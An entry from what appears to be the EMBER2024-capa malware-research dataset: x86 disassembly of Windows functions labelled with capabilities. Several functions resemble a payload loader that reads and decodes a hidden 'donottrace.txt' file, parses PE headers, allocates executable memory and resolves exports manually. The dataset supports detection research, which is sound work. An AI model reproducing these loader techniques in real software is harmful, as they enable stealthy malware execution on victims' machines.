joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10024e50
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x1004e12c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x5c
push eax
call sub.VCRUNTIME140.dll_strrchr
add esp, 8
mov byte [eax], 0
mov eax, str.donottrace.txt
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10024e94
lea edi, [ebp - 0x108]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10024ea4
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
push 0x80
push 3
push 0
mov ecx, eax
lea eax, [ebp - 0x108]
push 0
and ecx, 3
push closesocket
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push eax
mov dword [0x1004e1a4], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x1004e1ac], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0x1004e1b0
push dword [0x1004e1ac]
mov dword [0x1004e1a8], eax
push eax
push dword [0x1004e1a4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [0x1004e1a4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x10c]
push eax
push dword [0x1004e1ac]
push dword [0x1004e1a8]
push str.VP6xD1l641p5CrMKbgvnQoD20qUxdortl591yX0dNNGQeTiWITjLGfOgtBE1yS14WodB90cSQObezPtfScLWAIjNbqj31IFVZMdwWY12DfrWFyuZnqBPWXOc8gTndiPN
call fcn.10024d70
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop edi
pop esi
call fcn.1003f16c
mov esp, ebp
pop ebp
ret

Function at 0x100250b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
cmp esi, 0x40
jb 0x10025140
mov edx, dword [ebp + 8]
mov eax, 0x5a4d
mov dword [ecx + 0xc], edx
cmp word [edx], ax
jne 0x10025140
mov edi, dword [edx + 0x3c]
lea eax, [edi + 0xf8]
cmp esi, eax
jb 0x10025140
lea eax, [edi + edx]
mov dword [ecx + 0x10], eax
cmp dword [eax], 0x4550
jne 0x10025140
movzx edx, word [eax + 0x16]
test edx, 0x2000
je 0x10025140
test dl, 2
je 0x10025140
mov edx, 0xe0
cmp word [eax + 0x14], dx
jne 0x10025140
lea ebx, [eax + 0xf8]
mov dword [ecx + 0x14], ebx
xor ecx, ecx
movzx edi, word [eax + 6]
test edi, edi
je 0x10025134
xor edx, edx
nop
mov eax, dword [edx + ebx + 0x14]
add eax, dword [edx + ebx + 0x10]
cmp eax, esi
ja 0x10025140
inc ecx
add edx, 0x28
cmp ecx, edi
jl 0x10025120
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 8
Function at 0x10025a70
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
test ecx, ecx
je 0x10025b18
mov edi, dword [ebp + 0xc]
cmp edi, 0x40
jb 0x10025b18
mov eax, 0x5a4d
cmp ax, word [ecx]
jne 0x10025b18
mov edx, dword [ecx + 0x3c]
lea eax, [edx + 0xf8]
cmp edi, eax
jb 0x10025b18
cmp dword [edx + ecx], 0x4550
jne 0x10025b18
mov eax, 0x14c
cmp ax, word [edx + ecx + 4]
jne 0x10025b18
test byte [edx + ecx + 0x16], 2
je 0x10025b18
movzx eax, word [edx + ecx + 0x14]
mov esi, 0xe0
cmp ax, si
jb 0x10025b18
movzx ebx, word [edx + ecx + 6]
add eax, 0xffffff20
movzx esi, ax
xor eax, eax
add esi, edx
add esi, ecx
xor ecx, ecx
cmp cx, bx
jae 0x10025b0e
nop dword [eax]
movzx ecx, ax
lea edx, [ecx + ecx*4]
mov ecx, dword [esi + edx*8 + 0x10c]
add ecx, dword [esi + edx*8 + 0x108]
cmp ecx, edi
ja 0x10025b18
inc eax
cmp ax, bx
jb 0x10025af0
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x10025eb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0x40
push 0x3000
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x10025edb
push 0x40
push 0x3000
push dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
pop ebp
ret

Function at 0x100260b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
jbe 0x10026168
mov eax, dword [eax + edi + 0x78]
mov ecx, dword [ebp + 0xc]
add eax, edi
mov ebx, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
add ebx, edi
mov edx, dword [eax + 0x14]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], edx
cmp ecx, edx
ja 0x100260f6
mov eax, dword [ebx + ecx*4]
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [eax + 0x20]
xor esi, esi
mov ecx, dword [eax + 0x24]
add edx, edi
mov ebx, dword [eax + 0x18]
add ecx, edi
mov dword [ebp - 8], edx
mov dword [ebp + 8], ecx
test ebx, ebx
je 0x10026168
nop
mov eax, dword [edx + esi*4]
mov ecx, dword [ebp + 0xc]
add eax, edi
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10026138
test dl, dl
je 0x10026134
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10026138
add ecx, 2
add eax, 2
test dl, dl
jne 0x10026118
xor eax, eax
jmp 0x1002613d
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1002614d
mov eax, dword [ebp + 8]
movzx eax, word [eax + esi*2]
cmp eax, dword [ebp - 4]
jbe 0x10026157
inc esi
cmp esi, ebx
jae 0x10026168
mov edx, dword [ebp - 8]
jmp 0x10026110
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1002c120
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
push str.kernel32
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 4], eax
test eax, eax
jne 0x1002c140
pop edi
mov esp, ebp
pop ebp
ret
push ebx
push esi
push 0x10048644
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [ebp + 8]
mov ebx, eax
push 0x10048654
push esi
mov dword [ebp - 8], ebx
call dword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbspbrk]
add esp, 8
test eax, eax
je 0x1002c18d
test ebx, ebx
je 0x1002c17d
push 8
push 0
push esi
call ebx
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
test ebx, ebx
je 0x1002c1b6
push str.AddDllDirectory
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1002c1b6
push 0x800
push 0
push esi
call ebx
pop esi
mov edi, eax
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [ebp - 4], edx
test edx, edx
je 0x1002c260
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002c1d2
sub ecx, ebx
lea eax, [edx + 1]
add eax, ecx
push eax
call dword [0x1004e008]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x1002c256
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1002c256
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002c203
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1002c220
sub ecx, edx
sub ecx, esi
add ecx, ebx
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x1002c230
mov eax, dword [ebp - 8]
test eax, eax
je 0x1002c24d
push 8
push 0
push ebx
call eax
jmp 0x1002c254
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x1004e00c]
add esp, 4
pop esi
pop ebx
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x1002cbd0
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x1004e12c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x194]
push eax
push 2
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1002cc1d
push eax
push str.WSAStartup_failed___d_
push esi
call fcn.10024520
add esp, 0xc
mov eax, 2
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003f16c
mov esp, ebp
pop ebp
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x194]
cmp al, 2
jne 0x1002cc45
shr eax, 8
test al, al
jne 0x1002cc45
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003f16c
mov esp, ebp
pop ebp
ret
push str.insufficient_winsock_version_to_support_telnet
push esi
call fcn.10024520
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
mov eax, 2
pop esi
call fcn.1003f16c
mov esp, ebp
pop ebp
ret
Function at 0x1002d4b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov byte [ebp + 0xa], al
lea eax, [ebp + 8]
mov edi, dword [esi]
push 3
push eax
push dword [esi + 0x190]
mov byte [ebp + 8], 0xff
mov byte [ebp + 9], bl
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1002d4f8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push edi
call fcn.10024520
add esp, 0xc
push dword [ebp + 0x10]
push ebx
push str.SENT
push dword [esi]
call fcn.1002cd60
add esp, 0x10
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1002d5e0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0x1f
mov eax, dword [ebp + 8]
push ebx
mov eax, dword [eax]
mov dword [ebp - 4], eax
mov ebx, dword [eax + 0x114]
jne 0x1002d72d
push edi
lea eax, [ebx + 0x1cb0]
lea edi, [ebx + 0x1eb0]
mov dword [edi], eax
cmp eax, edi
jae 0x1002d62a
mov byte [eax], 0xff
inc eax
mov dword [edi], eax
cmp eax, edi
jae 0x1002d62a
mov byte [eax], 0xfa
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1002d62a
mov byte [eax], 0x1f
inc dword [edi]
movzx eax, word [ebx + 0x1ca8]
push esi
mov esi, dword [sym.imp.WS2_32.dll_htons]
push eax
call esi
movzx eax, ax
mov dword [ebp + 0xc], eax
movzx eax, word [ebx + 0x1caa]
push eax
call esi
mov edx, dword [ebp + 0xc]
movzx ecx, ax
mov eax, dword [edi]
cmp eax, edi
jae 0x1002d693
mov byte [eax], dl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1002d693
mov byte [eax], dh
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1002d693
mov byte [eax], cl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1002d693
shr ecx, 8
mov byte [eax], cl
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1002d693
mov byte [eax], 0xff
inc dword [edi]
mov eax, dword [edi]
cmp eax, edi
jae 0x1002d693
mov byte [eax], 0xf0
mov eax, dword [edi]
inc eax
mov dword [ebx + 0x1eb4], eax
lea esi, [ebx + 0x1cb0]
sub eax, esi
mov dword [edi], esi
mov edi, dword [ebp - 4]
sub eax, 2
push eax
lea eax, [ebx + 0x1cb2]
push eax
push 0x3e
push edi
call fcn.1002ce60
add esp, 0x10
push 0
push 3
push esi
mov esi, dword [ebp + 8]
push dword [esi + 0x190]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1002d6e9
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push edi
call fcn.10024520
add esp, 0xc
push 4
lea eax, [ebx + 0x1cb3]
push eax
push esi
call fcn.1002d510
add esp, 0xc
lea eax, [ebx + 0x1cb7]
push 0
push 2
push eax
push dword [esi + 0x190]
call dword [sym.imp.WS2_32.dll_send]
pop esi
test eax, eax
jns 0x1002d72c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push str.Sending_data_failed___d_
push edi
call fcn.10024520
add esp, 0xc
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1002e7d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword [0x1004e12c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov esi, dword [eax + 0x5e8]
mov ebx, dword [eax]
lea edi, [esi + 0x15c]
mov dword [ebp - 0x88], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x8c], 0x80
lea eax, [ebp - 0x84]
push eax
mov eax, dword [esi + 0x154]
push 0
add eax, 4
push eax
push dword [edi]
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [esi + 0x148], 0
mov dword [esi + 0x14c], eax
jne 0x1002e863
push dword [ebp - 0x8c]
lea eax, [ebp - 0x84]
push eax
lea eax, [esi + 0xc8]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x8c]
add esp, 0xc
mov dword [esi + 0x148], eax
mov edx, dword [esi + 0x14c]
cmp edx, 4
jge 0x1002e896
push str.Received_too_short_packet
push ebx
call fcn.10024520
add esp, 8
mov dword [esi + 0xc], 7
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003f16c
mov esp, ebp
pop ebp
ret
push edi
call fcn.1002e3d0
movzx eax, ax
add esp, 4
mov dword [esi + 0xc], eax
dec eax
cmp eax, 5
ja case.0x1002e8af.1
jmp dword [eax*4 + 0x1002e9d4]
cmp edx, 4
jle case.0x1002e8af.4
push edi
call fcn.1002e3b0
movzx ecx, word [esi + 0x40]
add esp, 4
inc ecx
cmp cx, ax
jne case.0x1002e8af.4
lea eax, [edx - 4]
push eax
mov eax, dword [edi]
mov edi, dword [ebp - 0x88]
add eax, 4
push eax
push 1
push edi
call fcn.10024410
add esp, 0x10
mov dword [ebp - 0x88], eax
test eax, eax
je 0x1002e91d
push 5
push esi
call fcn.1002f120
mov eax, dword [ebp - 0x88]
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003f16c
mov esp, ebp
pop ebp
ret
mov eax, dword [esi + 0x14c]
sub eax, 4
cdq
add dword [ebx + 0x70], eax
adc dword [ebx + 0x74], edx
push dword [ebx + 0x74]
push dword [ebx + 0x70]
push ebx
call fcn.10021c50
add esp, 0xc
jmp 0x1002e9a1
push edi
call fcn.1002e3b0
movzx eax, ax
mov dword [esi + 8], eax
mov eax, dword [edi]
add eax, 4
push eax
push 0x10041a08
push ebx
call fcn.100245d0
add esp, 0x10
jmp case.0x1002e8af.4
lea eax, [edx - 2]
push eax
mov eax, dword [edi]
add eax, 2
push eax
push esi
call fcn.1002e580
add esp, 0xc
test eax, eax
je case.0x1002e8af.4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003f16c
mov esp, ebp
pop ebp
ret
push str.Internal_error:_Unexpected_packet
push 0x10042408
push ebx
call fcn.10024520
add esp, 0xc
mov edi, dword [ebp - 0x88]
push edi
call fcn.10021ff0
add esp, 4
test eax, eax
je 0x1002e883
push 5
push esi
call fcn.1002f120
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
mov eax, 0x2a
pop edi
pop esi
pop ebx
call fcn.1003f16c
mov esp, ebp
pop ebp
ret
Function at 0x1002f120
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x10]
mov edx, dword [ecx]
mov eax, dword [eax]
cmp edx, 3
ja case.default.0x1002f132
jmp dword [edx*4 + 0x1002f188]
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.1002ec50
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.1002e9f0
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.1002f340
push str.TFTP_finished
push 0x10041a08
push eax
call fcn.100245d0
add esp, 0xc
xor eax, eax
pop ebp
ret
push str.Internal_state_machine_error
push 0x10042408
push eax
call fcn.10024520
add esp, 0xc
mov eax, 0x47
pop ebp
ret

Function at 0x1002f240
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
cmp eax, 0xffffff9c
je 0x1002f2a7
add eax, 0x63
cmp eax, 0x6a
ja case.0x1002f25a.97
movzx eax, byte [eax + 0x1002f2d4]
jmp dword [eax*4 + 0x1002f2ac]
mov eax, 0x44
pop ebp
ret
mov eax, 0x45
pop ebp
ret
mov eax, 0x46
pop ebp
ret
mov eax, 0x47
pop ebp
ret
mov eax, 0x48
pop ebp
ret
mov eax, 0x49
pop ebp
ret
mov eax, 0x4a
pop ebp
ret
mov eax, 0x1c
pop ebp
ret
mov eax, 7
pop ebp
ret
mov eax, 0x2a
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10038930
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x10]
call fcn.10038a60
add esp, 4
mov dword [ebp + 0x10], eax
pop ebp
jmp dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]

Function at 0x1003bf60
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0xf0000040
push 1
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1003bfa2
push dword [ebp + 8]
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
push 0
push dword [ebp - 4]
test eax, eax
jne 0x1003bfab
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 2
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x403360
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x403393
call fcn.00403340
test eax, eax
je 0x403393
mov edx, 1
lea ecx, [ebp - 0x10]
call fcn.00403320
mov eax, dword [ebp - 8]
shr eax, 0x19
and eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
shr eax, 0x19
and eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x403400
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x403434
call fcn.00403340
cmp eax, 7
jb 0x403434
mov edx, 7
lea ecx, [ebp - 0x10]
call fcn.00403320
mov eax, dword [ebp - 0xc]
shr eax, 0x1d
and eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x403440
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jb 0x403473
call fcn.00403340
test eax, eax
je 0x403473
mov edx, 1
lea ecx, [ebp - 0x10]
call fcn.00403320
mov eax, dword [ebp - 8]
shr eax, 9
and eax, 1
mov esp, ebp
pop ebp
ret
xor eax, eax
shr eax, 9
and eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x403570
Capabilities:
Check os version
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0x884874]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp ax, 6
je 0x4035b9
push str.SetDefaultDllDirectories
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4035b9
push 0xc00
call eax
test eax, eax
jne 0x40364e
push 0x106
lea eax, [ebp - 0x2d4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, eax
test ecx, ecx
je 0x40364e
cmp ecx, 0x104
ja 0x40364e
cmp word [ebp + ecx*2 - 0x2d6], 0x5c
je 0x4035f2
mov eax, 0x5c
mov word [ebp + ecx*2 - 0x2d4], ax
inc ecx
mov al, byte [str.userenv]
push esi
mov esi, str.userenv
test al, al
je 0x40364d
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push edi
lea edi, [ebp - 0x2d4]
lea edi, [edi + ecx*2]
mov ecx, edi
inc esi
movzx eax, al
lea ecx, [ecx + 2]
mov word [ecx - 2], ax
mov al, byte [esi]
inc esi
test al, al
jne 0x403615
xor eax, eax
mov dword [ecx], 0x64002e
push 8
push eax
mov word [ecx + 8], ax
lea eax, [ebp - 0x2d4]
push eax
mov dword [ecx + 4], 0x6c006c
call ebx
mov al, byte [esi]
test al, al
jne 0x403612
pop edi
pop ebx
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044706d
mov esp, ebp
pop ebp
ret
Function at 0x408b30
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x98
push 0
lea eax, [edi + 0x110]
push eax
call fcn.004487c0
mov eax, dword [edi + 0x30]
add esp, 0xc
add eax, dword [edi + 0x34]
mov ecx, dword [edi + 0x28]
mov dword [edi + 0x40], eax
mov dword [edi + 0x2c], 0
mov dword [edi + 0x14], 0
lea esi, [eax + ecx]
shr ecx, 3
mov eax, 0xaaaaaaab
mul ecx
mov ecx, 0xc
shr edx, 3
imul eax, edx, 0x54
mov edx, esi
sub edx, eax
mov eax, dword [edi + 0x18]
cmp eax, ecx
mov dword [edi + 0xc], eax
mov dword [edi + 0x44], edx
cmovb ecx, eax
mov dword [edi + 8], edx
not ecx
lea eax, [edx + 0x600]
mov dword [edi + 0x24], ecx
mov dword [edi + 0x20], ecx
lea ecx, [esi - 0xc]
mov dword [edi + 0x38], eax
xor eax, eax
mov dword [edi + 0x3c], ecx
mov dword [edi], ecx
mov dword [edi + 4], ecx
mov dword [ecx + 4], edx
add edx, 2
mov dword [ecx], 0x1010100
mov dword [ecx + 8], 0
mov byte [edx - 2], al
lea edx, [edx + 6]
xor ecx, ecx
mov byte [edx - 7], 1
inc eax
mov dword [edx - 6], ecx
cmp eax, 0x100
jb 0x408bc7
lea eax, [edi + 0x9fc]
push ebx
xor ebx, ebx
mov dword [ebp - 4], eax
nop word [eax + eax]
mov esi, eax
xor edi, edi
movzx eax, word [edi + 0x458570]
lea ecx, [ebx + 2]
xor edx, edx
div ecx
mov ecx, 0x4000
sub ecx, eax
xor eax, eax
movzx ecx, cx
nop
mov word [esi + eax*2], cx
add eax, 8
cmp eax, 0x40
jb 0x408c10
add edi, 2
add esi, 2
cmp edi, 0x10
jb 0x408bf4
mov eax, dword [ebp - 4]
inc ebx
sub eax, 0xffffff80
mov dword [ebp - 4], eax
cmp ebx, 0x80
jb 0x408bf0
mov edi, dword [ebp + 8]
mov edx, 0x50
pop ebx
lea esi, [edi + 0x3bc]
nop dword [eax + eax]
mov eax, esi
mov ecx, 0x10
nop word [eax + eax]
mov word [eax], dx
lea eax, [eax + 4]
mov word [eax - 2], 0x403
sub ecx, 1
jne 0x408c60
add edx, 0x28
add esi, 0x40
cmp edx, 0x438
jb 0x408c50
mov dword [edi + 0x3b8], 0x40070000
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x409c30
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edx, dword [esi + 8]
and edx, 0x3f
mov byte [edx + esi + 0x40], 0x80
inc edx
cmp edx, 0x38
jbe 0x409c7b
cmp edx, 0x40
je 0x409c67
mov eax, 0x40
lea ecx, [esi + 0x40]
sub eax, edx
add ecx, edx
push eax
push 0
push ecx
call fcn.004487c0
add esp, 0xc
mov eax, dword [esi]
lea edi, [esi + 0x40]
lea ebx, [esi + 0x20]
mov edx, edi
push 1
mov ecx, ebx
call eax
xor edx, edx
jmp 0x409c81
lea edi, [esi + 0x40]
lea ebx, [esi + 0x20]
mov eax, 0x38
sub eax, edx
push eax
lea eax, [esi + 0x40]
add eax, edx
push 0
push eax
call fcn.004487c0
mov ecx, dword [esi + 8]
add esp, 0xc
mov eax, dword [esi + 0xc]
mov edx, edi
shld eax, ecx, 3
shl ecx, 3
bswap eax
bswap ecx
mov dword [esi + 0x78], eax
mov eax, dword [esi]
mov dword [esi + 0x7c], ecx
mov ecx, ebx
push 1
call eax
mov edi, dword [ebp + 0xc]
mov edx, ebx
mov ebx, 4
mov ecx, dword [edx + 4]
lea edi, [edi + 8]
mov eax, dword [edx]
lea edx, [edx + 8]
bswap eax
mov dword [edi - 8], eax
bswap ecx
mov dword [edi - 4], ecx
sub ebx, 1
jne 0x409cc4
pop edi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x20], 0x6a09e667
mov dword [esi + 0x24], 0xbb67ae85
mov dword [esi + 0x28], 0x3c6ef372
mov dword [esi + 0x2c], 0xa54ff53a
mov dword [esi + 0x30], 0x510e527f
mov dword [esi + 0x34], 0x9b05688c
mov dword [esi + 0x38], 0x1f83d9ab
mov dword [esi + 0x3c], 0x5be0cd19
pop esi
pop ebx
pop ebp
ret 8

Function at 0x409d30
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, dword [0x88484c]
mov dword [ecx], eax
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x20], 0x6a09e667
mov dword [ecx + 0x24], 0xbb67ae85
mov dword [ecx + 0x28], 0x3c6ef372
mov dword [ecx + 0x2c], 0xa54ff53a
mov dword [ecx + 0x30], 0x510e527f
mov dword [ecx + 0x34], 0x9b05688c
mov dword [ecx + 0x38], 0x1f83d9ab
mov dword [ecx + 0x3c], 0x5be0cd19
pop ebp
ret 4

Function at 0x40a4e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push 0
call fcn.0044b117
mov ecx, dword [ebp + 8]
add esp, 0x18
mov dword [ecx], eax
test eax, eax
je 0x40a50d
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 1
cmovne ecx, eax
mov eax, ecx
mov esp, ebp
pop ebp
ret 0xc